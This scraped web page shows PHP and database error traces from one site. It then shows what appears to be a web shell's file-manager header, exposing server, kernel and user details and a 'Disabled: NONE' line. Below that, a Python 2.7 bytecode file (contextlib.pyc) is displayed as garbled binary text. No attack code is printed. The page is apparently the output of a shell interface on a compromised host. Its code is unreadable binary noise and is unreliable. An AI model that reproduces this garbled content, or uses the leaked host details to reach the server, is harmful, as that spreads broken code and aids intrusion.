A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux vps17447 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: dh_m2e37m (5712562)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: //lib/python2.7/contextlib.pyc
�
;;Wgc@s�dZddlZddlmZddlmZdddgZdefd	��YZd
�Z	e	d��Z
defd��YZdS(
s4Utilities for with-statement contexts.  See PEP 343.i����N(twraps(twarntcontextmanagertnestedtclosingtGeneratorContextManagercBs)eZdZd�Zd�Zd�ZRS(s%Helper for @contextmanager decorator.cCs
||_dS(N(tgen(tselfR((s /usr/lib/python2.7/contextlib.pyt__init__scCs5y|jj�SWntk
r0td��nXdS(Nsgenerator didn't yield(Rtnextt
StopIterationtRuntimeError(R((s /usr/lib/python2.7/contextlib.pyt	__enter__s
cCs�|dkrAy|jj�Wntk
r1dSXtd��n}|dkrY|�}ny&|jj|||�td��Wn<tk
r�}||k	Stj�d|k	r��q�nXdS(Nsgenerator didn't stops#generator didn't stop after throw()i(tNoneRR	R
Rtthrowtsystexc_info(Rttypetvaluet	tracebacktexc((s /usr/lib/python2.7/contextlib.pyt__exit__s 

(t__name__t
__module__t__doc__RRR(((s /usr/lib/python2.7/contextlib.pyR	s		cst���fd��}|S(s�@contextmanager decorator.

    Typical usage:

        @contextmanager
        def some_generator(<arguments>):
            <setup>
            try:
                yield <value>
            finally:
                <cleanup>

    This makes this:

        with some_generator(<arguments>) as <variable>:
            <body>

    equivalent to this:

        <setup>
        try:
            <variable> = <value>
            <body>
        finally:
            <cleanup>

    cst�||��S(N(R(targstkwds(tfunc(s /usr/lib/python2.7/contextlib.pythelperRs(R(RR((Rs /usr/lib/python2.7/contextlib.pyR6scgs�tdtd�g}g}d}zcyIx=|D]5}|j}|j}|j|��|j|�q/W|VWntj�}nXWdxE|r�|j�}y||�r�d}nWq�tj�}q�Xq�W|d	kr�|d|d|d�nXdS(
s�Combine multiple context managers into a single nested context manager.

   This function has been deprecated in favour of the multiple manager form
   of the with statement.

   The one advantage of this function over the multiple manager form of the
   with statement is that argument unpacking allows it to be
   used with a variable number of context managers as follows:

      with nested(*managers):
          do_something()

    s>With-statements now directly support multiple context managersiNiii(NNN(NNN(NNN(	RtDeprecationWarningR
RRtappendRRtpop(tmanagerstexitstvarsRtmgrtexittenter((s /usr/lib/python2.7/contextlib.pyRXs0

				
cBs)eZdZd�Zd�Zd�ZRS(s2Context to automatically close something at the end of a block.

    Code like this:

        with closing(<module>.open(<arguments>)) as f:
            <block>

    is equivalent to this:

        f = <module>.open(<arguments>)
        try:
            <block>
        finally:
            f.close()

    cCs
||_dS(N(tthing(RR&((s /usr/lib/python2.7/contextlib.pyR�scCs|jS(N(R&(R((s /usr/lib/python2.7/contextlib.pyR�scGs|jj�dS(N(R&tclose(RR((s /usr/lib/python2.7/contextlib.pyR�s(RRRRRR(((s /usr/lib/python2.7/contextlib.pyR�s		(RRt	functoolsRtwarningsRt__all__tobjectRRRR(((s /usr/lib/python2.7/contextlib.pyt<module>s-	",